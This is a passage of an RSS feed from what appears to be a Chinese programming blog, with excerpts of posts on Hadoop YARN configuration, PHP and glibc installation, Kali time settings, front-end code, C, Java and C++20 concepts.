      <description>capacity-scheduler.xml 文件中配置了yarn资源调度器运行中的各项参数，位于hadoop安装目录/hadoop-2.7.2/etc/hadoop目录下。&#xA;打开后可以看到默认配置。所有的配置有注有英文注释，考虑到可能对部分朋友不太友好，所以笔者结合自己的理解对这些注释进行了翻译，如有错误，恳请指正：&#xA;&amp;lt;configuration&amp;gt; # 最多可以运行的应用数，默认10000 &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;yarn.scheduler.capacity.maximum-applications&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;10000&amp;lt;/value&amp;gt; &amp;lt;description&amp;gt; Maximum number of applications that can be pending and running. &amp;lt;/description&amp;gt; &amp;lt;/property&amp;gt; # application master最多能够占用的内存数，可以从另一个维度上控制并行运行的job数量，默认0.1 &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;yarn.scheduler.capacity.maximum-am-resource-percent&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;0.1&amp;lt;/value&amp;gt; &amp;lt;description&amp;gt; Maximum percent of resources in the cluster which can be used to run application masters i.e. controls number of concurrent running applications. &amp;lt;/description&amp;gt; &amp;lt;/property&amp;gt; # 资源计算方式，默认已占用内存量作为度量，除此之外还能使用多维度计算方式，例如内存、CPU &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;yarn.scheduler.capacity.resource-calculator&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;org.apache.hadoop.yarn.util.resource.DefaultResourceCalculator&amp;lt;/value&amp;gt; &amp;lt;description&amp;gt; The ResourceCalculator implementation to be used to compare Resources in the scheduler.</description>
    </item>
    <item>
      <title>PHP安装ldap扩展</title>
      <link>https://bchobby.github.io/posts/602356c8ba9dba1667ecf6b615abf8d3/</link>
      <pubDate>Tue, 03 Mar 2020 19:15:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/602356c8ba9dba1667ecf6b615abf8d3/</guid>
      <description>适用于 Linux服务器配置。两种方案&#xA;一、使用在线安装 [只有一套PHP环境时]&#xA;1、检测PHP的版本 # php -v 2、搜索匹配版本的ldap扩展 # yum search ldap 3、安装对应的扩展 （我的版本是 7.0 ，找到自己对应的安装） # yum install php70w-ldap.x86-64 [中途会让输入一次 ，选 y ] 4、查看ldap扩展是否安装好 # php -m | grep ldap 5、如果没有该扩展，则修改配置文件，重启php-fpm生效 # find / -name php.ini [如果不知道php.ini位置，则进行搜索] # vim php.ini [加入 extension=ldap.so] # ps -aux | grep php-fpm [找到 php-fpm的进程id] # kill xx [杀掉 php-fpm，这里不用使用 -9参数] # php-fpm -c php-fpm.conf [后台重新启动 php-fpm] # php -m | grep ldap [再次查看扩展是否安装好] 二、编译安装 [服务器有多个PHP版本时]</description>
    </item>
    <item>
      <title>kali 2019 修改时区、同步时间</title>
      <link>https://bchobby.github.io/posts/f1e0b3275ad36a1225821873e5ed0ccb/</link>
      <pubDate>Tue, 03 Mar 2020 18:02:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1e0b3275ad36a1225821873e5ed0ccb/</guid>
      <description>首先保证系统联网，再执行下面的代码，可以更改时区和当前时间，并且重启系统后不会失效。&#xA;代码&#xA;#!/bin/bash echo &#34;change timezone to Asia/Shanghai (UTC)&#34; sudo timedatectl set-timezone &#34;Asia/Shanghai&#34;&#x9;#修改时区为上海 sudo timedatectl set-timezone UTC&#x9;#使用和设置协调世界时间 sudo timedatectl set-local-rtc 0&#x9;#将硬件时钟设置为协调世界时（UTC） echo &#34;restart ntp for update localtime,please wait 10s&#34; sudo service ntp restart&#x9;#重启ntp时间同步服务，等待时间更新，一般需要3~6秒 sleep 10s echo &#34;change Hardware clock&#34; sudo hwclock -w&#x9;#将系统时间写入到硬件时钟，防止重启系统后更改失效 sudo timedatectl status echo &#34;Everything is OK! Please Restart system&#34; 使用方法&#xA;将代码保存为.sh文件，使用root用户给执行权限，运行截图。&#xA;网上介绍的修改方式忽略了写入到硬件时钟，所以导致系统重启后修改失效。&#xA;有时候导入的kali机器时间不对，右键删除时间组件，重新添加到“任务栏”即可</description>
    </item>
    <item>
      <title>ant-design-vue,表格树形数据父子关联选择完善</title>
      <link>https://bchobby.github.io/posts/f8be0a023364ff285ebf9bf0a5dff53d/</link>
      <pubDate>Tue, 03 Mar 2020 16:06:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8be0a023364ff285ebf9bf0a5dff53d/</guid>
      <description>在线效果&#xA;组件使用&#xA;&amp;lt;a-table :columns=&#34;columns&#34; :data-source=&#34;tabData&#34; :row-selection=&#34;{selectedRowKeys: selectedRowKeys, onSelectAll: onSelectAll, onSelect: onSelect}&#34; /&amp;gt; 混合封装&#xA;const mixinTableTreeSelect = { data() { return { tabData: [], selectedRowKeys: [] }; }, methods: { onSelectAll(selected) { if (selected) { const tabData = this.tabData; const arr = []; setVal(tabData, arr); this.selectedRowKeys = arr; } else { this.selectedRowKeys = []; } function setVal(list, arr) { list.forEach(v =&amp;gt; { arr.push(v.key); if (v.children) { setVal(v.children, arr); } }); } }, onSelect(record, selected) { const set = new Set(this.</description>
    </item>
    <item>
      <title>setlocale(LC_ALL,&#34;&#34;) 中的 LC_* 是什么意思，以及 LANGUAGE/LANG 都是些啥？</title>
      <link>https://bchobby.github.io/posts/72b64deed0826ec326d94d93dbdcf365/</link>
      <pubDate>Tue, 03 Mar 2020 11:57:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72b64deed0826ec326d94d93dbdcf365/</guid>
      <description>这些都是个啥？ 上面提到的种种，实际上都是 区域 设置相关的东西，因此今天我们所提到的东西都和区域有关。&#xA;首先 setlocale(...) 是啥？ setLocale(...) 是C库中的一个设置地域化信息的C函数。&#xA;函数原型为：&#xA;char *setlocale(int category, const char *locale) 参数解释：&#xA;category – 这是一个已命名的常量，指定了受区域设置影响的函数类别，可以设置为以下值。&#xA;LC_ALL // 包括下面的所有选项。&#xA;LC_COLLATE // 字符串比较。参见 strcoll()。&#xA;LC_CTYPE // 字符分类和转换。例如 strtoupper()。&#xA;LC_MONETARY // 货币格式，针对 localeconv()。&#xA;LC_NUMERIC // 小数点分隔符，针对 localeconv()。&#xA;LC_TIME // 日期和时间格式，针对 strftime()。&#xA;LC_MESSAGES // 系统响应。&#xA;locale – 如果 locale是 NULL 或空字符串 &#34;&#34;，则区域名称将根据环境变量值来设置，其名称与上述的类别名称相同。&#xA;一般程序遇到编码方面的问题，百度都会告诉你设置setlocale(LC_ALL,&#34;&#34;)来解决，下面我们就了解一下这句代码做了什么.&#xA;LC_ALL，LE_* 又是个啥？ 实际上 LC_ALL，LE_* 是 区域 相关的环境变量。简而言之，LC_COLLATE，LC_TYPE等等都是环境变量。&#xA;很多程序的运行行为在全球不同的地域、语言环境中是不一样的，例如Linux 中的 date命令的行为就受LC_TIME的影响：&#xA;$ LC_TIME=en_US.UTF-8 date Fri Oct 31 19:51:16 CST 2014 $ LC_TIME=fi_FI.</description>
    </item>
    <item>
      <title>使用QQ截屏获取屏幕桌面图片像素颜色值</title>
      <link>https://bchobby.github.io/posts/c51ec8091372b94b1c9c8e006e657f19/</link>
      <pubDate>Mon, 02 Mar 2020 23:18:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c51ec8091372b94b1c9c8e006e657f19/</guid>
      <description>如题&#xA;进行设计或者计算机视觉处理时，有时想要知道自己屏幕上鼠标所在点的色号&#xA;使用QQ截屏功能&#xA;如图，按 C 即可得RGB值</description>
    </item>
    <item>
      <title>python处理excel合并</title>
      <link>https://bchobby.github.io/posts/29efd19642e662adfa5d346d907a7346/</link>
      <pubDate>Mon, 02 Mar 2020 16:57:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29efd19642e662adfa5d346d907a7346/</guid>
      <description>python处理excel合并 前言源码 前言 本篇博客是记录自己处理班级早起打卡，日常学习情况（数据来源与腾讯文档收集）&#xA;源码 import xlrd import xlwt import os &#34;&#34;&#34; xlrd操作： 1、常用单元格中的数据类型 ♦ 0. empty（空的）,1 string（text）, 2 number, 3 date, 4 boolean, 5 error， 6 blank（空白表格） 2、打开Excel文件读取数据 data = xlrd.open_workbook(filename)#文件名以及路径，如果路径或者文件名有中文给前面加一个r原生字符。 3、获取book中一个工作表 table = data.sheets()[0] #通过索引顺序获取 table = data.sheet_by_index(sheet_indx)) #通过索引顺序获取 table = data.sheet_by_name(sheet_name)#通过名称获取 以上三个函数都会返回一个xlrd.sheet.Sheet()对象 names = data.sheet_names() #返回book中所有工作表的名字 data.sheet_loaded(sheet_name or indx) # 检查某个sheet是否导入完毕 4、行的操作 nrows = table.nrows #获取该sheet中的有效行数 table.row(rowx) #返回由该行中所有的单元格对象组成的列表 table.row_slice(rowx) #返回由该列中所有的单元格对象组成的列表 table.row_types(rowx, start_colx=0, end_colx=None) #返回由该行中所有单元格的数据类型组成的列表 table.row_values(rowx, start_colx=0, end_colx=None) #返回由该行中所有单元格的数据组成的列表 table.</description>
    </item>
    <item>
      <title>3D操作按钮（button）</title>
      <link>https://bchobby.github.io/posts/7f86f5ec8a55712720d37b20d3dc4b01/</link>
      <pubDate>Mon, 02 Mar 2020 15:49:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f86f5ec8a55712720d37b20d3dc4b01/</guid>
      <description>3D操作 示例HTMLCSSJS 更多有趣示例 尽在 知屋安砖社区 示例 HTML &amp;lt;div class=&#34;threejs-help-overlay hidden&#34;&amp;gt; &amp;lt;div class=&#34;threejs-help-overlay-close&#34;&amp;gt;x&amp;lt;/div&amp;gt; &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;Rotate&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;Use the rotate buttons or left-click and drag.&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;Move&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;Use the arrow buttons or right-click and drag.&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;&amp;lt;b&amp;gt;Zoom&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;Use the + and - buttons or pinch&amp;amp;#8209;to&amp;amp;#8209;zoom.&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;threejs-btn-wrapper&#34;&amp;gt; &amp;lt;button id=&#34;threejs-help&#34; class=&#34;threejs-btn&#34;&amp;gt;&amp;lt;b&amp;gt;?&amp;lt;/b&amp;gt;&amp;lt;/button&amp;gt; &amp;lt;button id=&#34;threejs-reset&#34; class=&#34;threejs-btn&#34;&amp;gt;Reset&amp;lt;/button&amp;gt; &amp;lt;div class=&#34;threejs-btn-group&#34;&amp;gt; &amp;lt;button id=&#34;threejs-zoom-in&#34; class=&#34;threejs-btn disabled&#34;&amp;gt;+&amp;lt;/button&amp;gt; &amp;lt;button id=&#34;threejs-zoom-out&#34; class=&#34;threejs-btn&#34;&amp;gt;-&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;threejs-btn-group&#34;&amp;gt; &amp;lt;button id=&#34;threejs-rotate-x&#34; class=&#34;threejs-btn&#34;&amp;gt; &amp;lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; xmlns:xlink=&#34;http://www.w3.org/1999/xlink&#34; version=&#34;1.1&#34; x=&#34;0px&#34; y=&#34;0px&#34; viewBox=&#34;</description>
    </item>
    <item>
      <title>离线更新glibc</title>
      <link>https://bchobby.github.io/posts/b687b1e8741de6b3d9f2c2dcc35158bf/</link>
      <pubDate>Mon, 02 Mar 2020 11:45:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b687b1e8741de6b3d9f2c2dcc35158bf/</guid>
      <description>更新glibc glibc是gnu发布的libc库，即c运行库。glibc是linux系统中最底层的api，几乎是其它任何运行库的基础。glibc除了封装linux操作系统所提供的系统服务外，它本身也提供了许多其它一些必要功能实现。最妥当的办法是更新系统，自带的glibc会随之更新，但提供的环境是固定并且离线的，只能离线更新。&#xA;极不推荐编译方式，因为还需对应Binutils、GMP、Gettext等等、，甚至还要更新GCC，虚拟机测试的时候没有能顺利成功。不要在运行中的系统上安装 glibc，尤其是生产服务器上，否则将会导致系统崩溃，至少应当将新 glibc 安装到其他的单独目录，以保证不覆盖当前正在使用的 glibc。&#xA;解决办法比较推荐的是离线安装包升级。CentOS 6系统中官方支持的最高glibc，因为没有官方支持，最后从fedora系统的搞到相关的rpm包。&#xA;提示glic 2.15缺失，只需要更新到最新的或者大于等于这个版本即可，更高的版本会包含之前的版本。el6 对应的CentOS 6，下面是搜索到的下载地址：&#xA;http://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo-el6/epel-6-x86_64/glibc-2.17-55.fc20/glibc-2.17-55.el6.x86_64.rpm http://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo-el6/epel-6-x86_64/glibc-2.17-55.fc20/glibc-common-2.17-55.el6.x86_64.rpm http://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo-el6/epel-6-x86_64/glibc-2.17-55.fc20/glibc-devel-2.17-55.el6.x86_64.rpm http://copr-be.cloud.fedoraproject.org/results/mosquito/myrepo-el6/epel-6-x86_64/glibc-2.17-55.fc20/glibc-headers-2.17-55.el6.x86_64.rpm 然后上传到服务器，进行安装。&#xA;rpm -Uvh glibc-2.14.1-6.x86_64.rpm glibc-common-2.14.1-6.x86_64.rpm glibc-headers-2.14.1-6.x86_64.rpm glibc-devel-2.14.1-6.x86_64.rpm 如果直接安装不行，需要进行强制安装。命令结尾加上参数--force --nodeps再进行安装。&#xA;RPM更新包 更新包 rpm -Uvh glibc-2.17-55.el6.x86_64.rpm glibc-common-2.17-55.el6.x86_64.rpm glibc-devel-2.17-55.el6.x86_64.rpm glibc-headers-2.17-55.el6.x86_64.rpm force --force --nodeps&#xA;安装一个包 rpm -ivh xx.rpm&#xA;升级一个包 rpm -Uvh xx.rpm&#xA;移走一个包 rpm -e xx.rpm&#xA;安装参数 –force 即使覆盖属于其它包文件也强制安装。&#xA;–nodeps 如果该RPM包的安装依赖其它包，即使其它包没装，也强制安装。&#xA;查询一个包是否被安装 rpm -q xx.rpm&#xA;包的信息 rpm -qi xx.rpm&#xA;列出包中有哪些文件 rpm -ql xx.rpm</description>
    </item>
    <item>
      <title>c语言 关键字之typedef 详解</title>
      <link>https://bchobby.github.io/posts/6d8f7e912cc54f663b1b30e73299b8e0/</link>
      <pubDate>Mon, 02 Mar 2020 11:12:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d8f7e912cc54f663b1b30e73299b8e0/</guid>
      <description>在C语言中有一个typedef关键字，其用来定义用户自定义类型。当然，并不是真的创造了一种数据类型，而是给已有的或者符合型的以及复杂的数据类型取一个我们自己更容易理解的别名。总之，可以使用typedef关键字定义一个我们自己的类型名称。&#xA;那么，究竟如何定义，又有哪些情况下可已使用呢？接下来我们就对它的几种用法进行说明：&#xA;（1）基本数据类型定义&#xA;有些时候，我们会使用typedef关键字对一些基本数据类型进行重新定义。例如我们使用标准整数的数据类型uint8_t和uint16_t等时，其实他们的定义如下：&#xA;typedef unsigned char uint8_t; //无符号8位数&#xA;typedef signed char int8_t; //有符号8位数&#xA;typedef unsigned int uint16_t; //无符号16位数&#xA;typedef signed int int16_t; //有符号16位数&#xA;typedef unsigned long uint32_t; //无符号32位数&#xA;typedef signed long int32_t; //有符号32位数&#xA;很显然就是使用了typedef关键字给既有数据类型分配了一个别名。当我们使用uint8_t时，就和使用unsigned char是一样的。如我们声明uint8_t var时，和使用unsigned char var是一回事。&#xA;（2）指针数据类型定义&#xA;有些时候我们也会使用typedef关键字定义指针数据类型，用以简化我们所使用的指针变量的声明。&#xA;例如：typedef int *pointer;&#xA;这样我们就定义了一个指针类型，当我们使用pointer p声明一个指针变量，就和使用int *p的含义是一样的。&#xA;上面是一个指针变量类型，可以演化出很多用法，如定义数组对象可以更明确。有时候，我们也定义指向二位数组行的指针，使用typedef关键字就可以使得操作更符合我们的常规认知。&#xA;例如： typedef int (*pointer)[N];&#xA;这里pointer等价于 int (*)[N]，当我们声明pointer p就相当于声明int (*a)[N]。同样的，如果我们对二维数组采用类似的定义。&#xA;例如：typedef int array[M][N];&#xA;那它的含义与指针是类似的，如我们定义array a就是声明了一个M行N列的数组，此时使用p=a是可以的。&#xA;我们考虑到数组很多时候可以使用指针表示，所以将其放在一起讨论，而其它一些对象指针我们单独讨论。其实，不光是上述数组和指针可以使用typedef关键字定义别名，其它如：一维和多位数组，指针数组等都可以这样使用。&#xA;（3）用户对象类型定义&#xA;首先说明，这里说所的用户对象是指结构体、联合体以及枚举等用户定义的数据类型。我们可以使用typedef关键字给结构体等类型定义一个别名，这样我们客气在多个地方更方便的使用它。当然很多人对此有不同看法，这里不讨论，我们只是说有这种用法。&#xA;使用typedef关键字为结构体类型定义一个别名。&#xA;例如：typedef struct{&#xA;float setpoint; /*设定值*/</description>
    </item>
    <item>
      <title>css3的transform属性详解</title>
      <link>https://bchobby.github.io/posts/d293c611a7363cd1cf1aea5cb13a9196/</link>
      <pubDate>Sun, 01 Mar 2020 19:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d293c611a7363cd1cf1aea5cb13a9196/</guid>
      <description>transform变形属性（主要讨论2D）&#xA;css 3的transform属性可以修改css中可视化模型的坐标空间，元素通过transform属性进行移动（translate）、旋转（rotate）、缩放（scale）以及倾斜（skew）&#xA;注意：规范中有规定——如果元素的transform值不为none，则该元素会生成包含块的创建和层叠上下文&#xA;包含块的创建和层叠上下文会影响子元素的一些属性（这里我只是简单阐述一下概念，后期会更新一篇关于层叠上下文的文章）： 举个例子——当一个元素所包含的子元素设置了 position:fixed;，而该元素的transform的值不为none时，那么该元素的子元素position:fixed;不再基于视口（viewport）进行定位，而是基于该元素进行定位，这就是涉及到层叠上下文了。&#xA;下面一起来看一下transform属性及其属性值：&#xA;首先语法：transform: &amp;lt; transform-function &amp;gt; [ &amp;lt; transform-function &amp;gt; ]* |none;属性值为none（默认）或者至少一个transform-function函数.&#xA;位移translate：&#xA;1、transform: translate(a,b);元素向x轴方向位移a的距离，向y轴的方向位移了&#xA;b的距离&#xA;transform：translate(10px,20px);&#xA;当transform: translate(a);里只有一个值时，它是向x轴位移a的距离，&#xA;transform: translate(20px);&#xA;2、transform: translateX(a); | transform: translateY(a);&#xA;单独在x和y轴上进行位移a距离&#xA;transform: translateX(30%);&#xA;transform: translateY(4em);&#xA;缩放scale&#xA;1、transform:scale(a,b);元素在x轴上缩放a倍，在y轴上缩放b倍（数值小于1为缩小，大于1为放大）&#xA;transform: scale(0.5,2);&#xA;当transform: scale( );里的两个数值相同时，可以简写成一个，即transform: scale(a,a);写成transform: scale(a);&#xA;transform: scale(0.5);&#xA;2、transform: scaleX(a); | transform: scaleY(a);元素单独在x轴和y轴上缩放&#xA;a倍。&#xA;transform:scaleX(0.7);&#xA;transform: scaleY(1.3);&#xA;旋转rotatetransform: rotate(a)元素旋转的度数，一般单位为deg（角度），还有css 3中为我们新增加的角度属性：&#xA;grad梯度（100grad=90deg）&#xA;rad 弧度（一个圆有2π弧度，1.5707963rad=90deg）&#xA;turn 圈（一个圆就是一圈，0.25turn=90deg）&#xA;transform: rotate(60deg);&#xA;倾斜skew&#xA;1、transform: skew(a,b);元素在x轴倾斜a的角度，在y轴上倾斜b的角度，单位为deg</description>
    </item>
    <item>
      <title>Office 2019快速安装</title>
      <link>https://bchobby.github.io/posts/a08b0be93a20c8a42f73d4c3fcc0be70/</link>
      <pubDate>Sun, 01 Mar 2020 14:08:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a08b0be93a20c8a42f73d4c3fcc0be70/</guid>
      <description>1. 下载office 部署工具ODT https://www.microsoft.com/download/details.aspx?id=49117&#xA;2. 解压这个ODT工具获得 setup和配置文件；&#xA;configuration-Office2019Enterprise&#xA;3. 修改文件中 的路径&#xA;如果有自己的安装文件包或者授权序列号，修改xml配置文件就可以。&#xA;&amp;lt;Add SourcePath=&#34;\\Server\Share&#34; OfficeClientEdition=&#34;64&#34; Channel=&#34;PerpetualVL2019&#34;&amp;gt;&#xA;&amp;lt;Product ID=&#34;ProPlus2019Volume&#34; PIDKEY=&#34;#####-#####-#####-#####-#####&#34; &amp;gt;&#xA;&amp;lt;Language ID=&#34;en-us&#34; /&amp;gt;&#xA;&amp;lt;/Product&amp;gt;&#xA;&amp;lt;Product ID=&#34;ProofingTools&#34;&amp;gt;&#xA;&amp;lt;Language ID=&#34;de-de&#34; /&amp;gt;&#xA;&amp;lt;Language ID=&#34;ja-jp&#34; /&amp;gt;&#xA;&amp;lt;/Product&amp;gt;&#xA;&amp;lt;/Add&amp;gt;&#xA;4. 如果没有安装文件加，那就下载office2019文件，使用CMD 进入到 ODT解压路径，运行如下命令，因为安装文件有点大，所以需要等待。&#xA;setup /download configuration-Office2019Enterprise.xml&#xA;成功后，文件会下载到一个data目录&#xA;5. 开始安装office2019&#xA;setup /configure configuration-Office2019Enterprise.xml</description>
    </item>
    <item>
      <title>javac -cp  java-cp 看这篇就够了！</title>
      <link>https://bchobby.github.io/posts/bd06fb1b0af8d549dd146951669f7226/</link>
      <pubDate>Sun, 01 Mar 2020 11:09:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd06fb1b0af8d549dd146951669f7226/</guid>
      <description>一、背景： 平时我们用javac 或者 java执行程序可能比较少，入门时候用到的也是简单的类，没有package或者没有依赖关系或者没有用其他.jar包的，所以执行起来没啥问题。在Algorithems Froth Edition中，经常要用命令行模式来Test 算法性能。&#xA;二、问题 在排序算法-初级排序算法这一章，执行java SortCompare Insertion Selection 1000 100就遇到问题：找不到外部.jar包或者找不到引用的类。网上答案大体表达清楚了意思，但是不够简洁，思路不够清晰。这里就用这个例子梳理一下。&#xA;先看下我的SortCompare包结构：&#xA;└── com └── chm ├── algorithms │ ├── Example.java │ ├── Insertion.java │ ├── Selection.java │ └── SortCompare.java 我们目的是，流畅的执行以下命令&#xA;- javac SortCompare.java - java SotrCompare Insertion Selection 1000 100 - 介绍下类之间依赖关系，SortCompare是关键。&#xA;SortCompare.java的头部信息是这样的&#xA;package com.chm.algorithms; import edu.princeton.cs.algs4.StdOut; import edu.princeton.cs.algs4.StdRandom; import edu.princeton.cs.algs4.Stopwatch; 这表明SortCompare这个类用到了外部jar包(算法提供的基础包algs4.jar)；同时该类直接调用了Insertion.sort()、Selection.sort()方法，Insertion.sort()和Selection.sort()调用了Example中封装好的方法。&#xA;一言以蔽之，他们都在com.chm.algorithms这个package下（最核心部分）&#xA;最终结果：&#xA;3288 0.9993866420331129 0.9998753497357498 For 1000 random Doubles Insertion is 1.0 times faster than Selection 如果你对javac cp 或者 java -cp 理解不透，那么过程自然不顺利，这里我们先结论先行：</description>
    </item>
    <item>
      <title>PTA|《C语言程序设计实验与习题指导（第3版）》实验7-1-2 求最大值及其下标 (20分)</title>
      <link>https://bchobby.github.io/posts/f872ebe0ef84f4446b1ad1bb896de779/</link>
      <pubDate>Sun, 01 Mar 2020 10:07:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f872ebe0ef84f4446b1ad1bb896de779/</guid>
      <description> 题目 本题要求编写程序，找出给定的n个数中的最大值及其对应的最小下标（下标从0开始）。&#xA;输入格式:&#xA;输入在第一行中给出一个正整数n（1&amp;lt;n≤10）。第二行输入n个整数，用空格分开。&#xA;输出格式:&#xA;在一行中输出最大值及最大值的最小下标，中间用一个空格分开。&#xA;输入样例:&#xA;6 2 8 10 1 9 10 输出样例:&#xA;10 2 AC代码 初始化index的值为0，输入值一样时，返回0； #include&amp;lt;stdio.h&amp;gt; int main(){ int n,max,num,index=0; scanf(&#34;%d&#34;,&amp;amp;n); for(int i=0;i&amp;lt;n;i++){ scanf(&#34;%d&#34;,&amp;amp;num); if(i==0)max=num; if(num&amp;gt;max){ max=num; index=i; } } printf(&#34;%d %d&#34;,max,index); return 0; } </description>
    </item>
    <item>
      <title>更优雅的HTTP请求方式</title>
      <link>https://bchobby.github.io/posts/e8839bb1f00de243934ca7dbc6027bdd/</link>
      <pubDate>Sat, 29 Feb 2020 22:05:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8839bb1f00de243934ca7dbc6027bdd/</guid>
      <description>四个文件一篇文，一个工具一框架&#xA;工具：axios&#xA;框架：vue为例&#xA;四个文件 └─src ├─services // 目录 ├─ api.js // api管理 ├─ axios.js // axios请求 ├─ fetch.js // 二次封装 ├─ request.js // 请求方式管理 api.js 存放所有的接口请求axios.js 请求拦截处理fetch.js 对axios请求的二次封装request.js管理请求方式get post put delete… axios.js import axios from &#39;axios&#39; import { getToken } from &#39;@/utils/token&#39; // axios baseURL axios.defaults.baseURL = process.env.VUE_APP_BASE_API const instance = axios.create({ baseURL: process.env.VUE_APP_BASE_API, // 实例 baseURL timeout: 6000 }) instance.interceptors.request.use(config =&amp;gt; { const token = getToken() token &amp;amp;&amp;amp; (config.</description>
    </item>
    <item>
      <title>IntelliJ IDEA 如何修改tomcat服务器的发布路径</title>
      <link>https://bchobby.github.io/posts/2e8cf02bba6cb12c68a15490bf056bb3/</link>
      <pubDate>Sat, 29 Feb 2020 18:46:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e8cf02bba6cb12c68a15490bf056bb3/</guid>
      <description>在没有设置的情况下,IDEA并不会把项目发布到Tomcat的webapps目录下,也不会自动部署到webapps目录,我们要修改这个路径。&#xA;配图说明：创建的是maven的web项目&#xA;1. 首先关闭tomcat服务器，进行配置&#xA;2.&#xA;3.找到tomcat安装目录下的webapps的路径，选择webapps目录之后，最后推荐在其目录下创建子目录，取名为项目名 -- maven_web&#xA;4.&#xA;5. 重新启动服务器，所有的资源文件都部署到该文件目录下了。&#xA;完成~&#xA;QQ:2248745948&#xA;微信：HHgood</description>
    </item>
    <item>
      <title>Kali修改时间</title>
      <link>https://bchobby.github.io/posts/8a3d288df196ff78b08d14965431d2de/</link>
      <pubDate>Sat, 29 Feb 2020 10:09:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a3d288df196ff78b08d14965431d2de/</guid>
      <description> 前提 要以root身份运行命令。如何切换root身份在https://blog.csdn.net/helloworlddm/article/details/104547808有讲解。&#xA;使用的命令 # echo &#34;export TZ=&#39;Asia/Shanghai&#39;&#34; &amp;gt;&amp;gt; /etc/profile # cat /etc/profile |grep TZ # source /etc/profile # date -R # date 图示 </description>
    </item>
    <item>
      <title>Python-求字典中的最值</title>
      <link>https://bchobby.github.io/posts/8abdd86eaab2aed8bba0b1efa7ff9a8e/</link>
      <pubDate>Fri, 28 Feb 2020 19:24:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8abdd86eaab2aed8bba0b1efa7ff9a8e/</guid>
      <description>已知一个包含一些同学成绩的字典，现在需要计算所有成绩的最高分、最低分、平均分，并查找所有最高分的同学。&#xA;例如 scores={“zhang San”:45,“Wang Wu”:40,“Zhou liu”:96,“Zhao Qi”:65,“Sun Ba”:90……}&#xA;代码：&#xA;scores={“zhang San”:45,“Wang Wu”:40,“Zhou liu”:96,“Zhao Qi”:65,“Sun Ba”:90}&#xA;a = max(scores,key = lambda x:scores[x])&#xA;a1 = max(scores.values())&#xA;b = min(scores,key = lambda x:scores[x])&#xA;b1 = min(scores.values())&#xA;c = scores.values()&#xA;sum = 0&#xA;for num in c:&#xA;sum = sum + num&#xA;print(‘平均值为：’,sum/len©)&#xA;print(‘成绩最高分为：’,a1,‘获得最高分同学为：’,a)&#xA;print(‘成绩最低分为：’,b1,‘获得最低分同学为：’,b)&#xA;运行结果：</description>
    </item>
    <item>
      <title>C&#43;&#43; 20 Concept 语法</title>
      <link>https://bchobby.github.io/posts/4deda0a18e59d3e1c66812fe199687ed/</link>
      <pubDate>Fri, 28 Feb 2020 14:40:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4deda0a18e59d3e1c66812fe199687ed/</guid>
      <description>requires expression 一种表达式，它很像一个lambda表达式，一个未命名元函数。例如：&#xA;requires(int a,int b){ a+b;} 其中：（）部分是参数列表，{ }部分是需求列表。这个表达式是在编译期求值的，表达式的结果是true或者false。它的工作机制是：对于{ }内的若干条语句检查可行性，如果都能通过，则本条requires expression的值为true。在本例中，a+b；是提出了需求，即：有关两个int要求能相加。显然是满足的。则本例的表达式值为true。&#xA;int main(){ static_assert( requires(int a,int b){ a+b;} ); } 这个静态断言，证明了此种表示式是编译期求值的特性。&#xA;int main(){ static_assert( requires{ false; } ); //断言仍正确 } 上述语句，可以看出（）部分是可选的，因此可省略。{ }部分中false；这个表达式是可行的，记住我们不关心被检查的表达式的结果，只关心它是否可行。{ }中是列举需求的，我们有四种需求描述方法：1）简单需求 2）类型需求 3）复杂需求 4）嵌套需求。 前文的a+b就是个简单需求。另外一个简单需求例子：&#xA;int main(){ static_assert( requires{ new int; } ); //OK } 而当我们不但要检查表达式是否可行，还要检查表达式是否抛例外，需要用到复杂需求形式。可以像这样写：&#xA;int main(){ static_assert( requires{ (new int) noexcept; ); //ERROR } 显然，new int是抛例外的，我们却需求不跑例外，需求不满足，requires表达式求值为false，则静态断言失败。 当我们需要表达式的值的类型符合某种要求时，这样写：&#xA;#include &amp;lt;type_traits&amp;gt; int main(){ static_assert( requires{ {new int} -&amp;gt; std::same_as&amp;lt;int*&amp;gt;; } ); } 下一个是类型需求（Type Requirement）的例子</description>
    </item>
    <item>
      <title>高速数字信号线上添加33欧电阻的作用</title>
      <link>https://bchobby.github.io/posts/1ef891c3b379bcc9cf9906ae68636f67/</link>
      <pubDate>Fri, 28 Feb 2020 11:06:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ef891c3b379bcc9cf9906ae68636f67/</guid>
